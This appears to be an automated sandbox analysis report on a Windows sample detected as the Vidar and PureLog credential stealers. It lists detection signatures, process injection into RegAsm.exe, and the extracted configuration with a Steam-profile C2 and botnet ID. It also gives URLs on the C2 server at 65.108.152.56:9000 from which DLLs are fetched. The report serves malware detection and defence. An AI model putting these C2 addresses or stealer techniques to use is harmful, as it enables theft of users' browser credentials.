Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1437185
MD5:	b9773393891d9cc471cd58cac09052dd
SHA1:	784a14954c7abca7d7e2e92c60b93557238426f4
SHA256:	0a8357cb9a1d348d1c4b4ec101f2328fd43f976803bcc360525ced55fbb9aeaf
Tags:	exe
Infos:

Detection

PureLog Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected PureLog Stealer

Yara detected Vidar stealer

.NET source code contains method to dynamically call methods (often used by packers)

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

Machine Learning detection for sample

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 3228 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B9773393891D9CC471CD58CAC09052DD)

RegAsm.exe (PID: 5816 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199680449169"], "Botnet": "ad7dbf02afc50b46afd33ddc12f41082", "Version": "9.4"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1632108400.0000000003D65000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000000.1628578580.00000000009A2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x211f0:$s1: JohnDoe 0x31f80:$s1: JohnDoe 0x211e8:$s2: HAL9TH
Process Memory Space: file.exe PID: 3228	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5816	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 5816	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.file.exe.9a0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.RegAsm.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x211f0:$s1: JohnDoe 0x31f80:$s1: JohnDoe 0x211e8:$s2: HAL9TH
0.2.file.exe.3d65570.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.3d65570.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1fbf0:$s1: JohnDoe 0x1fbe8:$s2: HAL9TH
1.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1fbf0:$s1: JohnDoe 0x1fbe8:$s2: HAL9TH
0.2.file.exe.3d65570.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.3d65570.0.unpack	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1eff0:$s1: JohnDoe 0x1efe8:$s2: HAL9TH
Click to see the 4 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 00000000.00000002.1632108400.0000000003D65000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199680449169"], "Botnet": "ad7dbf02afc50b46afd33ddc12f41082", "Version": "9.4"}

Multi AV Scanner detection for domain / URL

Source: https://65.108.152.56:9000/W	Virustotal: Detection: 8%	Perma Link
Source: https://65.108.152.56:9000/D	Virustotal: Detection: 6%	Perma Link
Source: https://65.108.152.56:9000/sqlx.dllg	Virustotal: Detection: 8%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 63%
Source: file.exe	Virustotal: Detection: 42%			Perma Link

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004062F1 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_004062F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040628E CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_0040628E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040832A memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,	1_2_0040832A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040247E memset,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,	1_2_0040247E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040FD97 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	1_2_0040FD97

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.105.90.131:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: NETCrypt.pdb source: file.exe
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040B700 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00401162 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	1_2_00401162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041531B _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_0041531B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00414462 _EH_prolog,wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,memset,lstrcat,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,FindNextFileA,FindClose,	1_2_00414462
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00409531 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_00409531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040994C _EH_prolog,StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040994C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00414B2E _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00414B2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00414ED2 _EH_prolog,GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	1_2_00414ED2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00409FBE _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_00409FBE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_004148AF _EH_prolog,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlenA,

1_2_004148AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199680449169

Source: global traffic

TCP traffic: 192.168.2.4:49732 -> 65.108.152.56:9000

Source: global traffic

HTTP traffic detected: GET /profiles/76561199680449169 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 104.105.90.131 104.105.90.131

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.152.56

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_004041D4 _EH_prolog,GetProcessHeap,RtlAllocateHeap,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_004041D4

Source: global traffic

HTTP traffic detected: GET /profiles/76561199680449169 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: steamcommunity.com

Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: file.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: file.exe	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0H
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0I
Source: file.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: file.exe	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: RegAsm.exe, 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, 76561199680449169[1].htm.1.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56/
Source: 76561199680449169[1].htm.1.dr	String found in binary or memory: https://65.108.152.56:9000
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/7
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/D
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/G
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/L~
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/W
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/dZ
Source: RegAsm.exe, 00000001.00000002.2881273063.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2881326562.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/freebl3.dll
Source: RegAsm.exe, 00000001.00000002.2881326562.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/freebl3.dll4
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/freebl3.dllEdge
Source: RegAsm.exe, 00000001.00000002.2881273063.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/mozglue.dll
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/mozglue.dllEdge
Source: RegAsm.exe, 00000001.00000002.2881273063.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/msvcp140.dll
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/msvcp140.dlldge
Source: RegAsm.exe, 00000001.00000002.2881273063.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/msvcp140.dllt
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/ng
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2881326562.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/nss3.dll
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/nss3.dllData
Source: RegAsm.exe, 00000001.00000002.2881415199.0000000000F95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/nss3.dllU
Source: RegAsm.exe, 00000001.00000002.2881326562.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/nss3.dlldll
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/nss3.dllft
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/o
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/soft
Source: RegAsm.exe, 00000001.00000002.2881273063.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/softokn3.dll
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/softokn3.dllessionKeyBackward
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/sqlx.dll
Source: RegAsm.exe, 00000001.00000002.2881415199.0000000000F95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/sqlx.dllg
Source: RegAsm.exe, 00000001.00000002.2881326562.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/vcruntime140.dll
Source: RegAsm.exe, 00000001.00000002.2881415199.0000000000F95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/vcruntime140.dll9000/nss3.dll
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/vcruntime140.dllUser
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/vcruntime140.dll_7)
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000/vcruntime140.dllyp
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000KFicrosoft
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000e1a3fmium
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000el
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000ing
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000l
Source: RegAsm.exe, 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000lGoogle
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://65.108.152.56:9000softokn3.dlldge
Source: IEHJJE.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 76561199680449169[1].htm.1.dr	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
